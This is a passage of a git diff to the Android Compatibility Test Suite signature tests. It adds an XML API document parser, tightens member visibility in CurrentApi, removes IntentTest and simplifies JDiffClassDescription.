+                // but the reflected method is
+                ((reflectedMethod.getModifiers() & Modifier.SYNCHRONIZED) != 0)) {
+            // that is a problem
+            return false;
+        }
+
+        // Mask off NATIVE since it is a don't care.  Also mask off
+        // SYNCHRONIZED since we've already handled that check.
+        int ignoredMods = (Modifier.NATIVE | Modifier.SYNCHRONIZED | Modifier.STRICT);
+        int mod1 = reflectedMethod.getModifiers() & ~ignoredMods;
+        int mod2 = apiMethod.mModifier & ~ignoredMods;
+
+        // We can ignore FINAL for classes
+        if ((classDescription.getModifier() & Modifier.FINAL) != 0) {
+            mod1 &= ~Modifier.FINAL;
+            mod2 &= ~Modifier.FINAL;
+        }
+
+        return mod1 == mod2;
+    }
+}
diff --git a/tests/signature/src/android/signature/cts/ApiDocumentParser.java b/tests/signature/src/android/signature/cts/ApiDocumentParser.java
new file mode 100644
index 0000000..6c8b172
--- /dev/null
+++ b/tests/signature/src/android/signature/cts/ApiDocumentParser.java
@@ -0,0 +1,201 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.signature.cts;
+
+import static android.signature.cts.CurrentApi.ATTRIBUTE_NAME;
+import static android.signature.cts.CurrentApi.ATTRIBUTE_TYPE;
+import static android.signature.cts.CurrentApi.TAG_CLASS;
+import static android.signature.cts.CurrentApi.TAG_CONSTRUCTOR;
+import static android.signature.cts.CurrentApi.TAG_EXCEPTION;
+import static android.signature.cts.CurrentApi.TAG_FIELD;
+import static android.signature.cts.CurrentApi.TAG_IMPLEMENTS;
+import static android.signature.cts.CurrentApi.TAG_INTERFACE;
+import static android.signature.cts.CurrentApi.TAG_METHOD;
+import static android.signature.cts.CurrentApi.TAG_PACKAGE;
+import static android.signature.cts.CurrentApi.TAG_PARAM;
+import static android.signature.cts.CurrentApi.TAG_ROOT;
+
+import android.util.Log;
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.Collections;
+import java.util.HashSet;
+import java.util.Set;
+import org.xmlpull.v1.XmlPullParser;
+import org.xmlpull.v1.XmlPullParserException;
+import org.xmlpull.v1.XmlPullParserFactory;
+
+/**
+ * Parses an XML api definition file and constructs and populates an {@link JDiffClassDescription}
+ * for every class.
+ *
+ * <p>Once it has completely populated the members (so does not include nested/inner classes) of a
+ * {@link JDiffClassDescription} it notifies the {@link #listener} by calling
+ * {@link Listener#completedClass(JDiffClassDescription)} with the completed
+ * {@link JDiffClassDescription}.
+ */
+public class ApiDocumentParser {
+
+    private static final Set<String> KEY_TAG_SET;
+    static {
+        KEY_TAG_SET = new HashSet<>();
+        Collections.addAll(KEY_TAG_SET,
+                TAG_PACKAGE,
+                TAG_CLASS,
+                TAG_INTERFACE,
+                TAG_IMPLEMENTS,
+                TAG_CONSTRUCTOR,
+                TAG_METHOD,
+                TAG_PARAM,
+                TAG_EXCEPTION,
+                TAG_FIELD);
+    }
+
+    private final String tag;
+
+    private final Listener listener;
+
+    private final XmlPullParser parser;
+
+    public ApiDocumentParser(String tag, Listener listener) throws XmlPullParserException {
+        this.tag = tag;
+        this.listener = listener;
+
+        XmlPullParserFactory factory = XmlPullParserFactory.newInstance();
+        parser = factory.newPullParser();
+    }
+
+    public void parse(InputStream inputStream) throws XmlPullParserException, IOException {
+        parser.setInput(inputStream, null);
+        start(parser);
+    }
+
+    public interface Listener {
+
+        /**
+         * Invoked when a {@link JDiffClassDescription} has been completely populated.
+         *
+         * @param classDescription the description of the class as read from the XML API file.
+         */
+        void completedClass(JDiffClassDescription classDescription);
+    }
+
+
+    private void beginDocument(XmlPullParser parser, String firstElementName)
+            throws XmlPullParserException, IOException {
+        int type;
+        do {
+            type = parser.next();
+        } while (type != XmlPullParser.START_TAG && type != XmlPullParser.END_DOCUMENT);
+
+        if (type != XmlPullParser.START_TAG) {
+            throw new XmlPullParserException("No start tag found");
+        }
+
+        if (!parser.getName().equals(firstElementName)) {
+            throw new XmlPullParserException("Unexpected start tag: found " + parser.getName() +
+                    ", expected " + firstElementName);
+        }
+    }
+
+    /**
+     * Signature test entry point.
+     */
+    private void start(XmlPullParser parser) throws XmlPullParserException, IOException {
+        logd(String.format("Name: %s", parser.getName()));
+        logd(String.format("Text: %s", parser.getText()));
+        logd(String.format("Namespace: %s", parser.getNamespace()));
+        logd(String.format("Line Number: %s", parser.getLineNumber()));
+        logd(String.format("Column Number: %s", parser.getColumnNumber()));
+        logd(String.format("Position Description: %s", parser.getPositionDescription()));
+        JDiffClassDescription currentClass = null;
+        String currentPackage = "";
+        JDiffClassDescription.JDiffMethod currentMethod = null;
+
+        beginDocument(parser, TAG_ROOT);
+        int type;
+        while (true) {
+            do {
+                type = parser.next();
+            } while (type != XmlPullParser.START_TAG && type != XmlPullParser.END_DOCUMENT
+                    && type != XmlPullParser.END_TAG);
+
+            if (type == XmlPullParser.END_TAG) {
+                if (TAG_CLASS.equals(parser.getName())
+                        || TAG_INTERFACE.equals(parser.getName())) {
+                    if (listener != null) {
+                        listener.completedClass(currentClass);
+                    }
+                } else if (TAG_PACKAGE.equals(parser.getName())) {
+                    currentPackage = "";
+                }
+                continue;
+            }
+
+            if (type == XmlPullParser.END_DOCUMENT) {
+                break;
+            }
+
+            String tagname = parser.getName();
+            if (!KEY_TAG_SET.contains(tagname)) {
+                continue;
+            }
+
+            if (type == XmlPullParser.START_TAG && tagname.equals(TAG_PACKAGE)) {
+                currentPackage = parser.getAttributeValue(null, ATTRIBUTE_NAME);
+            } else if (tagname.equals(TAG_CLASS)) {
+                currentClass = CurrentApi.loadClassInfo(
+                        parser, false, currentPackage);
+            } else if (tagname.equals(TAG_INTERFACE)) {
+                currentClass = CurrentApi.loadClassInfo(
+                        parser, true, currentPackage);
+            } else if (tagname.equals(TAG_IMPLEMENTS)) {
+                currentClass.addImplInterface(parser.getAttributeValue(null, ATTRIBUTE_NAME));
+            } else if (tagname.equals(TAG_CONSTRUCTOR)) {
+                JDiffClassDescription.JDiffConstructor constructor =
+                        CurrentApi.loadConstructorInfo(parser, currentClass);
+                currentClass.addConstructor(constructor);
+                currentMethod = constructor;
+            } else if (tagname.equals(TAG_METHOD)) {
+                currentMethod = CurrentApi.loadMethodInfo(currentClass.getClassName(), parser);
+                currentClass.addMethod(currentMethod);
+            } else if (tagname.equals(TAG_PARAM)) {
+                currentMethod.addParam(parser.getAttributeValue(null, ATTRIBUTE_TYPE));
+            } else if (tagname.equals(TAG_EXCEPTION)) {
+                currentMethod.addException(parser.getAttributeValue(null, ATTRIBUTE_TYPE));
+            } else if (tagname.equals(TAG_FIELD)) {
+                JDiffClassDescription.JDiffField field = CurrentApi.loadFieldInfo(currentClass.getClassName(), parser);
+                currentClass.addField(field);
+            } else {
+                throw new RuntimeException(
+                        "unknown tag exception:" + tagname);
+            }
+            if (currentPackage != null) {
+                logd(String.format("currentPackage: %s", currentPackage));
+            }
+            if (currentClass != null) {
+                logd(String.format("currentClass: %s", currentClass.toSignatureString()));
+            }
+            if (currentMethod != null) {
+                logd(String.format("currentMethod: %s", currentMethod.toSignatureString()));
+            }
+        }
+    }
+
+    private void logd(String msg) {
+        Log.d(tag, msg);
+    }
+}
diff --git a/tests/signature/src/android/signature/cts/CurrentApi.java b/tests/signature/src/android/signature/cts/CurrentApi.java
index 4c48f9f..611bcb5 100644
--- a/tests/signature/src/android/signature/cts/CurrentApi.java
+++ b/tests/signature/src/android/signature/cts/CurrentApi.java
@@ -22,20 +22,22 @@
 import java.lang.reflect.Modifier;
 
 import org.xmlpull.v1.XmlPullParser;
-import org.xmlpull.v1.XmlPullParserException;
-import org.xmlpull.v1.XmlPullParserFactory;
 
 /**
  * Helper methods and constants used for parsing the current api file.
  */
-class CurrentApi {
+public class CurrentApi {
 
     private CurrentApi() {}
 
-    static final String CURRENT_API_FILE =
-            "/data/local/tmp/signature-test/current.api";
-    static final String SYSTEM_CURRENT_API_FILE =
-            "/data/local/tmp/signature-test/system-current.api";
+    public static final String API_FILE_DIRECTORY = "/data/local/tmp/signature-test";
+
+    public static final String CURRENT_API_FILE =
+            API_FILE_DIRECTORY + "/current.api";
+    public static final String SYSTEM_CURRENT_API_FILE =
+            API_FILE_DIRECTORY + "/system-current.api";
+    public static final String SYSTEM_REMOVED_API_FILE =
+            API_FILE_DIRECTORY + "/system-removed.api";
 
     static final String TAG_ROOT = "api";
     static final String TAG_PACKAGE = "package";
@@ -48,23 +50,23 @@
     static final String TAG_EXCEPTION = "exception";
     static final String TAG_FIELD = "field";
 
-    static final String MODIFIER_ABSTRACT = "abstract";
-    static final String MODIFIER_FINAL = "final";
-    static final String MODIFIER_NATIVE = "native";
-    static final String MODIFIER_PRIVATE = "private";
-    static final String MODIFIER_PROTECTED = "protected";
-    static final String MODIFIER_PUBLIC = "public";
-    static final String MODIFIER_STATIC = "static";
-    static final String MODIFIER_SYNCHRONIZED = "synchronized";
-    static final String MODIFIER_TRANSIENT = "transient";
-    static final String MODIFIER_VOLATILE = "volatile";
-    static final String MODIFIER_VISIBILITY = "visibility";
+    private static final String MODIFIER_ABSTRACT = "abstract";
+    private static final String MODIFIER_FINAL = "final";
+    private static final String MODIFIER_NATIVE = "native";
+    private static final String MODIFIER_PRIVATE = "private";
+    private static final String MODIFIER_PROTECTED = "protected";
+    private static final String MODIFIER_PUBLIC = "public";
+    private static final String MODIFIER_STATIC = "static";
+    private static final String MODIFIER_SYNCHRONIZED = "synchronized";
+    private static final String MODIFIER_TRANSIENT = "transient";
+    private static final String MODIFIER_VOLATILE = "volatile";
+    private static final String MODIFIER_VISIBILITY = "visibility";
 
     static final String ATTRIBUTE_NAME = "name";
-    static final String ATTRIBUTE_VALUE = "value";
-    static final String ATTRIBUTE_EXTENDS = "extends";
+    private static final String ATTRIBUTE_VALUE = "value";
+    private static final String ATTRIBUTE_EXTENDS = "extends";
     static final String ATTRIBUTE_TYPE = "type";
-    static final String ATTRIBUTE_RETURN = "return";
+    private static final String ATTRIBUTE_RETURN = "return";
 
     /**
      * Load field information from xml to memory.
@@ -103,7 +105,7 @@
      * @return the new constructor
      */
     static JDiffConstructor loadConstructorInfo(
-                XmlPullParser parser, JDiffClassDescription currentClass) {
+            XmlPullParser parser, JDiffClassDescription currentClass) {
         String name = currentClass.getClassName();
         int modifier = jdiffModifierToReflectionFormat(name, parser);
         return new JDiffConstructor(name, modifier);
@@ -118,15 +120,9 @@
      * @return the new class description.
      */
     static JDiffClassDescription loadClassInfo(
-            XmlPullParser parser, boolean isInterface, String pkg,
-            ResultObserver resultObserver) {
+            XmlPullParser parser, boolean isInterface, String pkg) {
         String className = parser.getAttributeValue(null, ATTRIBUTE_NAME);
-        JDiffClassDescription currentClass;
-        if (resultObserver != null) {
-            currentClass = new JDiffClassDescription(pkg, className, resultObserver);
-        } else {
-            currentClass = new JDiffClassDescription(pkg, className);
-        }
+        JDiffClassDescription currentClass = new JDiffClassDescription(pkg, className);
 
         currentClass.setModifier(jdiffModifierToReflectionFormat(className, parser));
         currentClass.setType(isInterface ? JDiffClassDescription.JDiffType.INTERFACE :
@@ -143,7 +139,7 @@
      * @param value modifier value
      * @return converted modifier value
      */
-    static int modifierDescriptionToReflectedType(String name, String key, String value) {
+    private static int modifierDescriptionToReflectedType(String name, String key, String value) {
         if (key.equals(MODIFIER_ABSTRACT)) {
             return value.equals("true") ? Modifier.ABSTRACT : 0;
         } else if (key.equals(MODIFIER_FINAL)) {
@@ -183,7 +179,7 @@
      * @param parser XML resource parser
      * @return converted modifier
      */
-    static int jdiffModifierToReflectionFormat(String name, XmlPullParser parser){
+    private static int jdiffModifierToReflectionFormat(String name, XmlPullParser parser){
         int modifier = 0;
         for (int i = 0;i < parser.getAttributeCount();i++) {
             modifier |= modifierDescriptionToReflectedType(name, parser.getAttributeName(i),
diff --git a/tests/signature/src/android/signature/cts/FailureType.java b/tests/signature/src/android/signature/cts/FailureType.java
index a701202..77820eb 100644
--- a/tests/signature/src/android/signature/cts/FailureType.java
+++ b/tests/signature/src/android/signature/cts/FailureType.java
@@ -13,5 +13,6 @@
     MISMATCH_INTERFACE_METHOD,
     MISMATCH_METHOD,
     MISMATCH_FIELD,
+    UNEXPECTED_CLASS,
     CAUGHT_EXCEPTION,
 }
diff --git a/tests/signature/src/android/signature/cts/IntentTest.java b/tests/signature/src/android/signature/cts/IntentTest.java
deleted file mode 100644
index 3d674ab..0000000
--- a/tests/signature/src/android/signature/cts/IntentTest.java
+++ /dev/null
@@ -1,289 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.signature.cts;
-
-import static android.signature.cts.CurrentApi.CURRENT_API_FILE;
-import static android.signature.cts.CurrentApi.SYSTEM_CURRENT_API_FILE;
-import static android.signature.cts.CurrentApi.TAG_ROOT;
-import static android.signature.cts.CurrentApi.TAG_PACKAGE;
-import static android.signature.cts.CurrentApi.TAG_CLASS;
-import static android.signature.cts.CurrentApi.TAG_INTERFACE;
-import static android.signature.cts.CurrentApi.TAG_IMPLEMENTS;
-import static android.signature.cts.CurrentApi.TAG_CONSTRUCTOR;
-import static android.signature.cts.CurrentApi.TAG_METHOD;
-import static android.signature.cts.CurrentApi.TAG_PARAM;
-import static android.signature.cts.CurrentApi.TAG_EXCEPTION;
-import static android.signature.cts.CurrentApi.TAG_FIELD;
-
-import static android.signature.cts.CurrentApi.MODIFIER_ABSTRACT;
-import static android.signature.cts.CurrentApi.MODIFIER_FINAL;
-import static android.signature.cts.CurrentApi.MODIFIER_NATIVE;
-import static android.signature.cts.CurrentApi.MODIFIER_PRIVATE;
-import static android.signature.cts.CurrentApi.MODIFIER_PROTECTED;
-import static android.signature.cts.CurrentApi.MODIFIER_PUBLIC;
-import static android.signature.cts.CurrentApi.MODIFIER_STATIC;
-import static android.signature.cts.CurrentApi.MODIFIER_SYNCHRONIZED;
-import static android.signature.cts.CurrentApi.MODIFIER_TRANSIENT;
-import static android.signature.cts.CurrentApi.MODIFIER_VOLATILE;
-import static android.signature.cts.CurrentApi.MODIFIER_VISIBILITY;
-
-import static android.signature.cts.CurrentApi.ATTRIBUTE_NAME;
-import static android.signature.cts.CurrentApi.ATTRIBUTE_EXTENDS;
-import static android.signature.cts.CurrentApi.ATTRIBUTE_TYPE;
-import static android.signature.cts.CurrentApi.ATTRIBUTE_RETURN;
-
-import android.content.Context;
-import android.content.pm.ApplicationInfo;
-import android.content.pm.PackageInfo;
-import android.content.pm.PackageManager;
-import android.content.pm.PackageManager.NameNotFoundException;
-import android.signature.cts.JDiffClassDescription.JDiffConstructor;
-import android.signature.cts.JDiffClassDescription.JDiffField;
-import android.signature.cts.JDiffClassDescription.JDiffMethod;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
-import android.util.Log;
-
-import com.android.compatibility.common.util.DynamicConfigDeviceSide;
-
-import java.io.BufferedReader;
-import java.io.InputStreamReader;
-import java.io.IOException;
-import java.io.File;
-import java.io.FileInputStream;
-import java.util.Arrays;
-import java.util.HashSet;
-import java.util.List;
-import java.util.Set;
-
-import org.junit.Assert;
-import org.junit.runner.RunWith;
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Rule;
-import org.junit.Test;
-
-import org.xmlpull.v1.XmlPullParser;
-import org.xmlpull.v1.XmlPullParserException;
-import org.xmlpull.v1.XmlPullParserFactory;
-
-/**
- * Validate that the android intents used by APKs on this device are part of the
- * platform.
- */
-@RunWith(AndroidJUnit4.class)
-public class IntentTest {
-    private static final String TAG = IntentTest.class.getSimpleName();
-
-    private static final File SIGNATURE_TEST_PACKGES =
-            new File("/data/local/tmp/signature-test-packages");
-    private static final String ANDROID_INTENT_PREFIX = "android.intent.action";
-    private static final String ACTION_LINE_PREFIX = "          Action: ";
-    private static final String MODULE_NAME = "CtsSignatureTestCases";
-
-    private PackageManager mPackageManager;
-    private Set<String> intentWhitelist;
-
-    @Before
-    public void setupPackageManager() throws Exception {
-      mPackageManager = InstrumentationRegistry.getContext().getPackageManager();
-      intentWhitelist = getIntentWhitelist();
-    }
-
-    @Test
-    public void shouldNotFindUnexpectedIntents() throws Exception {
-        Set<String> platformIntents = lookupPlatformIntents();
-        platformIntents.addAll(intentWhitelist);
-
-        Set<String> allInvalidIntents = new HashSet<>();
-
-        Set<String> errors = new HashSet<>();
-        List<ApplicationInfo> packages =
-            mPackageManager.getInstalledApplications(PackageManager.GET_META_DATA);
-        for (ApplicationInfo appInfo : packages) {
-            if (!isSystemApp(appInfo) && !isUpdatedSystemApp(appInfo)) {
-                // Only examine system apps
-                continue;
-            }
-            Set<String> invalidIntents = new HashSet<>();
-            Set<String> activeIntents = lookupActiveIntents(appInfo.packageName);
-
-            for (String activeIntent : activeIntents) {
-              String intent = activeIntent.trim();
-              if (!platformIntents.contains(intent) &&
-                    intent.startsWith(ANDROID_INTENT_PREFIX)) {
-                  invalidIntents.add(activeIntent);
-                  allInvalidIntents.add(activeIntent);
-              }
-            }
-
-            String error = String.format("Package: %s Invalid Intent: %s",
-                  appInfo.packageName, invalidIntents);
-            if (!invalidIntents.isEmpty()) {
-                errors.add(error);
-            }
-        }
-
-        // Log the whitelist line to make it easy to update.
-        for (String intent : allInvalidIntents) {
-           Log.d(TAG, String.format("whitelist.add(\"%s\");", intent));
-        }
-
-        Assert.assertTrue(errors.toString(), errors.isEmpty());
-    }
-
-    private Set<String> lookupPlatformIntents() {
-        try {
-            XmlPullParserFactory factory = XmlPullParserFactory.newInstance();
-
-            Set<String> intents = new HashSet<>();
-            XmlPullParser parser = factory.newPullParser();
-            parser.setInput(new FileInputStream(new File(CURRENT_API_FILE)), null);
-            intents.addAll(parse(parser));
-
-            parser = factory.newPullParser();
-            parser.setInput(new FileInputStream(new File(SYSTEM_CURRENT_API_FILE)), null);
-            intents.addAll(parse(parser));
-            return intents;
-        } catch (XmlPullParserException | IOException e) {
-            throw new RuntimeException("failed to parse", e);
-        }
-    }
-
-    private static Set<String> parse(XmlPullParser parser)
-            throws XmlPullParserException, IOException {
-        JDiffClassDescription currentClass = null;
-        String currentPackage = "";
-        JDiffMethod currentMethod = null;
-
-        Set<String> androidIntents = new HashSet<>();
-        Set<String> keyTagSet = new HashSet<String>();
-        keyTagSet.addAll(Arrays.asList(new String[] {
-                TAG_PACKAGE, TAG_CLASS, TAG_INTERFACE, TAG_IMPLEMENTS, TAG_CONSTRUCTOR,
-                TAG_METHOD, TAG_PARAM, TAG_EXCEPTION, TAG_FIELD }));
-
-        int type;
-        while ((type=parser.next()) != XmlPullParser.START_TAG
-                   && type != XmlPullParser.END_DOCUMENT) { }
-
-        if (type != XmlPullParser.START_TAG) {
-            throw new XmlPullParserException("No start tag found");
-        }
-
-        if (!parser.getName().equals(TAG_ROOT)) {
-            throw new XmlPullParserException(
-                  "Unexpected start tag: found " + parser.getName() + ", expected " + TAG_ROOT);
-        }
-
-        while (true) {
-            type = XmlPullParser.START_DOCUMENT;
-            while ((type=parser.next()) != XmlPullParser.START_TAG
-                       && type != XmlPullParser.END_DOCUMENT
-                       && type != XmlPullParser.END_TAG) {
-            }
-
-            if (type == XmlPullParser.END_TAG) {
-                if (TAG_PACKAGE.equals(parser.getName())) {
-                    currentPackage = "";
-                }
-                continue;
-            }
-
-            if (type == XmlPullParser.END_DOCUMENT) {
-                break;
-            }
-
-            String tagname = parser.getName();
-            if (!keyTagSet.contains(tagname)) {
-                continue;
-            }
-
-            if (type == XmlPullParser.START_TAG && tagname.equals(TAG_PACKAGE)) {
-                currentPackage = parser.getAttributeValue(null, ATTRIBUTE_NAME);
-            } else if (tagname.equals(TAG_CLASS)) {
-                currentClass = CurrentApi.loadClassInfo(
-                      parser, false, currentPackage, null /*resultObserver*/);
-            } else if (tagname.equals(TAG_INTERFACE)) {
-                currentClass = CurrentApi.loadClassInfo(
-                      parser, true, currentPackage, null /*resultObserver*/);
-            } else if (tagname.equals(TAG_FIELD)) {
-                JDiffField field =
-                    CurrentApi.loadFieldInfo(currentClass.getClassName(), parser);
-                currentClass.addField(field);
-            }
-
-            if (currentClass != null) {
-                for (JDiffField diffField : currentClass.getFieldList()) {
-                    String fieldValue = diffField.getValueString();
-                    if (fieldValue != null) {
-                        fieldValue = fieldValue.replace("\"", "");
-                        if (fieldValue.startsWith(ANDROID_INTENT_PREFIX)) {
-                            androidIntents.add(fieldValue);
-                        }
-                    }
-                }
-            }
-        }
-
-        return androidIntents;
-    }
-
-    private static boolean isSystemApp(ApplicationInfo applicationInfo) {
-        return (applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM) != 0;
-    }
-
-    private static boolean isUpdatedSystemApp(ApplicationInfo applicationInfo) {
-        return (applicationInfo.flags & ApplicationInfo.FLAG_UPDATED_SYSTEM_APP) != 0;
-    }
-
-    private static Set<String> lookupActiveIntents(String packageName) {
-        HashSet<String> activeIntents = new HashSet<>();
-        File dumpsysPackage = new File(SIGNATURE_TEST_PACKGES, packageName + ".txt");
-        if (!dumpsysPackage.exists() || dumpsysPackage.length() == 0) {
-          throw new RuntimeException("Missing package info: " + dumpsysPackage.getAbsolutePath());
-        }
-        try (
-            BufferedReader in = new BufferedReader(
-                  new InputStreamReader(new FileInputStream(dumpsysPackage)))) {
-            String line;
-            while ((line = in.readLine()) != null) {
-                if (line.startsWith(ACTION_LINE_PREFIX)) {
-                    String intent = line.substring(
-                          ACTION_LINE_PREFIX.length(), line.length() - 1);
-                    activeIntents.add(intent.replace("\"", ""));
-                }
-            }
-            return activeIntents;
-        } catch (Exception e) {
-          throw new RuntimeException("While retrieving dumpsys", e);
-        }
-    }
-
-    private static Set<String> getIntentWhitelist() throws Exception {
-        Set<String> whitelist = new HashSet<>();
-
-        DynamicConfigDeviceSide dcds = new DynamicConfigDeviceSide(MODULE_NAME);
-        List<String> intentWhitelist = dcds.getValues("intent_whitelist");
-
-        // Log the whitelist Intent
-        for (String intent : intentWhitelist) {
-           Log.d(TAG, String.format("whitelist add: %s", intent));
-           whitelist.add(intent);
-        }
-
-        return whitelist;
-    }
-}
diff --git a/tests/signature/src/android/signature/cts/JDiffClassDescription.java b/tests/signature/src/android/signature/cts/JDiffClassDescription.java
index 6eafc32..df91ddb 100644
--- a/tests/signature/src/android/signature/cts/JDiffClassDescription.java
+++ b/tests/signature/src/android/signature/cts/JDiffClassDescription.java
@@ -16,87 +16,37 @@
 
 package android.signature.cts;
 
-import java.lang.reflect.Constructor;
-import java.lang.reflect.Field;
-import java.lang.reflect.GenericArrayType;
-import java.lang.reflect.Method;
 import java.lang.reflect.Modifier;
-import java.lang.reflect.ParameterizedType;
-import java.lang.reflect.Type;
-import java.lang.reflect.TypeVariable;
-import java.lang.reflect.WildcardType;
 import java.util.ArrayList;
 import java.util.Collection;
-import java.util.HashMap;
-import java.util.HashSet;
 import java.util.List;
-import java.util.Map;
-import java.util.Objects;
-import java.util.Set;
 
 /**
  * Represents class descriptions loaded from a jdiff xml file.  Used
  * for CTS SignatureTests.
  */
 public class JDiffClassDescription {
-    /** Indicates that the class is an annotation. */
-    private static final int CLASS_MODIFIER_ANNOTATION = 0x00002000;
-    /** Indicates that the class is an enum. */
-    private static final int CLASS_MODIFIER_ENUM       = 0x00004000;
-
-    /** Indicates that the method is a bridge method. */
-    private static final int METHOD_MODIFIER_BRIDGE    = 0x00000040;
-    /** Indicates that the method is takes a variable number of arguments. */
-    private static final int METHOD_MODIFIER_VAR_ARGS  = 0x00000080;
-    /** Indicates that the method is a synthetic method. */
-    private static final int METHOD_MODIFIER_SYNTHETIC = 0x00001000;
-
-    private static final Set<String> HIDDEN_INTERFACE_WHITELIST = new HashSet<>();
-    static {
-        // Interfaces that define @hide or @SystemApi or @TestApi methods will by definition contain
-        // methods that do not appear in current.txt. Interfaces added to this
-        // list are probably not meant to be implemented in an application.
-        HIDDEN_INTERFACE_WHITELIST.add("public abstract boolean android.companion.DeviceFilter.matches(D)");
-        HIDDEN_INTERFACE_WHITELIST.add("public static <D> boolean android.companion.DeviceFilter.matches(android.companion.DeviceFilter<D>,D)");
-        HIDDEN_INTERFACE_WHITELIST.add("public abstract java.lang.String android.companion.DeviceFilter.getDeviceDisplayName(D)");
-        HIDDEN_INTERFACE_WHITELIST.add("public abstract int android.companion.DeviceFilter.getMediumType()");
-        HIDDEN_INTERFACE_WHITELIST.add("public abstract void android.nfc.tech.TagTechnology.reconnect() throws java.io.IOException");
-        HIDDEN_INTERFACE_WHITELIST.add("public abstract void android.os.IBinder.shellCommand(java.io.FileDescriptor,java.io.FileDescriptor,java.io.FileDescriptor,java.lang.String[],android.os.ShellCallback,android.os.ResultReceiver) throws android.os.RemoteException");
-        HIDDEN_INTERFACE_WHITELIST.add("public abstract int android.text.ParcelableSpan.getSpanTypeIdInternal()");
-        HIDDEN_INTERFACE_WHITELIST.add("public abstract void android.text.ParcelableSpan.writeToParcelInternal(android.os.Parcel,int)");
-        HIDDEN_INTERFACE_WHITELIST.add("public abstract void android.view.WindowManager.requestAppKeyboardShortcuts(android.view.WindowManager$KeyboardShortcutsReceiver,int)");
-        HIDDEN_INTERFACE_WHITELIST.add("public abstract boolean javax.microedition.khronos.egl.EGL10.eglReleaseThread()");
-        HIDDEN_INTERFACE_WHITELIST.add("public abstract void org.w3c.dom.ls.LSSerializer.setFilter(org.w3c.dom.ls.LSSerializerFilter)");
-        HIDDEN_INTERFACE_WHITELIST.add("public abstract org.w3c.dom.ls.LSSerializerFilter org.w3c.dom.ls.LSSerializer.getFilter()");
-        HIDDEN_INTERFACE_WHITELIST.add("public abstract android.graphics.Region android.view.WindowManager.getCurrentImeTouchRegion()");
-    }
 
     public enum JDiffType {
         INTERFACE, CLASS
     }
 
-    @SuppressWarnings("unchecked")
-    private Class<?> mClass;
-    // A map of field name to field of the fields contained in {@code mClass}
-    private Map<String, Field> mClassFieldMap;
-
-    private String mPackageName;
-    private String mShortClassName;
+    private final String mPackageName;
+    private final String mShortClassName;
 
     /**
      * Package name + short class name
      */
-    private String mAbsoluteClassName;
+    private final String mAbsoluteClassName;
 
     private int mModifier;
 
     private String mExtendedClass;
-    private List<String> implInterfaces = new ArrayList<String>();
-    private List<JDiffField> jDiffFields = new ArrayList<JDiffField>();
-    private List<JDiffMethod> jDiffMethods = new ArrayList<JDiffMethod>();
-    private List<JDiffConstructor> jDiffConstructors = new ArrayList<JDiffConstructor>();
+    private List<String> implInterfaces = new ArrayList<>();
+    private List<JDiffField> jDiffFields = new ArrayList<>();
+    private List<JDiffMethod> jDiffMethods = new ArrayList<>();
+    private List<JDiffConstructor> jDiffConstructors = new ArrayList<>();
 
-    private ResultObserver mResultObserver;
     private JDiffType mClassType;
 
     /**
@@ -106,26 +56,46 @@
      * @param className the name of the class.
      */
     public JDiffClassDescription(String pkg, String className) {
-        this(pkg, className, new ResultObserver() {
-            @Override
-            public void notifyFailure(FailureType type, String name, String errorMessage) {
-                // This is a null result observer that doesn't do anything.
-            }
-        });
-    }
-
-    /**
-     * Creates a new JDiffClassDescription with the specified results
-     * observer.
-     *
-     * @param pkg the java package this class belongs in.
-     * @param className the name of the class.
-     * @param resultObserver the resultObserver to get results with.
-     */
-    public JDiffClassDescription(String pkg, String className, ResultObserver resultObserver) {
         mPackageName = pkg;
         mShortClassName = className;
-        mResultObserver = resultObserver;
+        mAbsoluteClassName = mPackageName + "." + mShortClassName;
+    }
+
+
+    String getPackageName() {
+        return mPackageName;
+    }
+
+    String getShortClassName() {
+        return mShortClassName;
+    }
+
+    int getModifier() {
+        return mModifier;
+    }
+
+    String getExtendedClass() {
+        return mExtendedClass;
+    }
+
+    List<String> getImplInterfaces() {
+        return implInterfaces;
+    }
+
+    List<JDiffField> getFields() {
+        return jDiffFields;
+    }
+
+    List<JDiffMethod> getMethods() {
+        return jDiffMethods;
+    }
+
+    List<JDiffConstructor> getConstructors() {
+        return jDiffConstructors;
+    }
+
+    JDiffType getClassType() {
+        return mClassType;
     }
 
     /**
@@ -133,7 +103,7 @@
      *
      * @param iname name of interface
      */
-    public void addImplInterface(String iname) {
+    void addImplInterface(String iname) {
         implInterfaces.add(iname);
     }
 
@@ -178,83 +148,50 @@
     }
 
     static String convertModifersToModifierString(int modifiers) {
-        StringBuffer sb = new StringBuffer();
-        boolean isFirst = true;
+        StringBuilder sb = new StringBuilder();
+        String separator = "";
 
         // order taken from Java Language Spec, sections 8.1.1, 8.3.1, and 8.4.3
         if ((modifiers & Modifier.ABSTRACT) != 0) {
-            if (isFirst) {
-                isFirst = false;
-            } else {
-                sb.append(" ");
-            }
-            sb.append("abstract");
+            sb.append(separator).append("abstract");
+            separator = " ";
         }
         if ((modifiers & Modifier.STATIC) != 0) {
-            if (isFirst) {
-                isFirst = false;
-            } else {
-                sb.append(" ");
-            }
-            sb.append("static");
+            sb.append(separator).append("static");
+            separator = " ";
         }
         if ((modifiers & Modifier.FINAL) != 0) {
-            if (isFirst) {
-                isFirst = false;
-            } else {
-                sb.append(" ");
-            }
-            sb.append("final");
+            sb.append(separator).append("final");
+            separator = " ";
         }
         if ((modifiers & Modifier.TRANSIENT) != 0) {
